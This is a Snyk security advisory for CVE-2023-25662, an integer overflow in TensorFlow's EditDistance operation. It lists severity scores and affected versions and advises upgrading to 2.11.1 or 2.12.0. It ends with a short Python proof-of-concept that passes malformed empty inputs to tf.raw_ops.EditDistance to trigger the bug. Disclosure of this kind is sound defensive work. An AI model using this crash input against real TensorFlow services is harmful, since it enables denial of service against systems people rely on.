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Integer Overflow or Wraparound Affecting tensorflow package, versions [,2.11.1) [2.12.0rc0,2.12.0)

0.0
high

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.09% (37th percentile)
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NVD
7.5 high

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  • Snyk ID SNYK-PYTHON-TENSORFLOW-3373014
  • published 26 Mar 2023
  • disclosed 26 Mar 2023
  • credit r3pwnx
Report a new vulnerability Found a mistake?

Introduced: 26 Mar 2023

CVE-2023-25662 Open this link in a new tab
CWE-190 Open this link in a new tab

How to fix?

Upgrade tensorflow to version 2.11.1, 2.12.0 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in EditDistance. A fix is included in TensorFlow version 2.12.0 and version 2.11.1.

PoC 

import tensorflow as tf
para={
    'hypothesis_indices': [[]],
    'hypothesis_values': ['tmp/'],
    'hypothesis_shape': [],
    'truth_indices': [[]],
    'truth_values': [''],
    'truth_shape': [],
    'normalize': False
    }
tf.raw_ops.EditDistance(**para)

References